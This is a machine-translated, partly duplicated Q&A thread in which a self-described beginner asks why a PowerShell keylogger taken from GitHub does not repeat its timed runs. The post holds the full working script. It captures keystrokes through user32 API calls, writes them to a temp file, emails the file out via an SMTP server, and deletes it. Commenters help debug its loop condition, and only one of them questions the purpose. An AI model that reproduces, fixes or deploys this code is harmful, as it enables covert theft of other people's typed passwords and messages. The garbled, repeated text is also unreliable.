Powershell 为什么赢了';此脚本是否连续运行多次?
我是Powershell的新手,到目前为止,我一直在尝试它,以了解它是如何工作的。最近我在github上发现了一个很酷的键盘记录脚本,我决定去看看。除了它应该重复的次数(Powershell 为什么赢了';此脚本是否连续运行多次?,powershell,powershell-2.0,powershell-3.0,Powershell,Powershell 2.0,Powershell 3.0,我是Powershell的新手,到目前为止,我一直在尝试它,以了解它是如何工作的。最近我在github上发现了一个很酷的键盘记录脚本,我决定去看看。除了它应该重复的次数($TimesToRun)之外,它都正常工作 我今天花了一天的大部分时间试图找出问题所在并加以解决,但迄今为止运气不佳 我还试着重写剧本。我尝试过的一件事是以各种方式循环脚本:[for($I=1;$I-le 5;$I++)等等,但仍然不起作用。它只是在第一个时间段后关闭,或者没有创建新的.txt文件,所以我得到一个错误。这是脚本,
$TimesToRun
)之外,它都正常工作
我今天花了一天的大部分时间试图找出问题所在并加以解决,但迄今为止运气不佳
我还试着重写剧本。我尝试过的一件事是以各种方式循环脚本:[for($I=1;$I-le 5;$I++)
等等,但仍然不起作用。它只是在第一个时间段后关闭,或者没有创建新的.txt文件,所以我得到一个错误。这是脚本,也许有人能帮我找到问题:
# Edit only this section!
$TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.outlook.com"
$SMTPPort = "587"
$credentials = Get-Credential
############################
$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
$Runner = 0
while ($TimesToRun -ge $Runner) {
while ($TimeEnd -ge $TimeNow) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
$TimeNow = Get-Date
}
send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
Remove-Item -Path $Path -force
}
}
finally
{
# open logger file in Notepad
exit 1
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
如果while循环没有无休止地运行,那么问题显然就出在while循环中,假设完成后没有抛出错误,尝试将while循环设置为
while($true)
这应该让它们无限运行,如果它起作用,那么问题就出在while
循环中的比较中($TIMEND-ge$TimeNow)处于未定义$TimeNow
的位置。您只能在循环结束时执行此操作。对于初学者,请将$TimeNow
作为一个整体移除,并选中while($TIMEND-ge(获取日期))
.P.S.任何AV软件都会使用这种脚本。你为什么要这样做?@Theo我正在尝试其他人的脚本,只是为了了解它的可行性,并认为你可以只使用powershell注册击键很酷。当我遇到问题时,我会尝试修复它们,作为学习代码工作原理的一种方式。你的olotuion听起来很有希望,所以我就这么做了。我删除了“出口1”脚本的一部分,以查看它将如何运行,在第一分钟后,它说没有找到keylogger.txt文件。因此,我假设try循环的第一部分应该在创建文本文件之前开始。我这样做了,但是脚本根本不会结束。@KevinHernandez,是的,问题很可能是在while
循环中,您的while($true)
tip证实了这一点。我尝试了@Theo的解决方案,但没有按照我之前的评论中的计划工作。我正在尝试解决方案。你知道我能做什么吗?@ChrisSolo你说它运行了,但脚本根本没有结束,你希望脚本什么时候结束?问题显然在y我们的while循环如果它没有无休止地运行,假设完成时没有抛出错误,请尝试将while循环设置为while($true)
这应该使它们无限运行,如果它工作正常,那么您的问题就在于while
循环中的比较您的while($TimeEnd-ge$TimeNow)
在未定义$TimeNow
的点上。您只能在循环结束时执行此操作。对于初学者,将$TimeNow
作为一个整体删除,然后在($TimeEnd-ge(Get Date))的同时选中
.P.S.任何AV软件都会使用这种脚本。你为什么要这样做?@Theo我正在尝试其他人的脚本,只是为了了解它的可行性,并认为你可以只使用powershell注册击键很酷。当我遇到问题时,我会尝试修复它们,作为学习代码工作原理的一种方式。你的olotuion听起来很有希望,所以我就这么做了。我删除了“出口1”脚本的一部分,以查看它将如何运行,在第一分钟后,它说没有找到keylogger.txt文件。因此,我假设try循环的第一部分应该在创建文本文件之前开始。我这样做了,但是脚本根本不会结束。@KevinHernandez,是的,问题很可能是在while
循环中,您的while($true)
tip证实了这一点。我尝试了@Theo的解决方案,但没有按照我之前的评论中的计划工作。我正在尝试解决方案。你知道我能做什么吗?@ChrisSolo你说它运行了,但脚本根本没有结束,你希望脚本什么时候结束?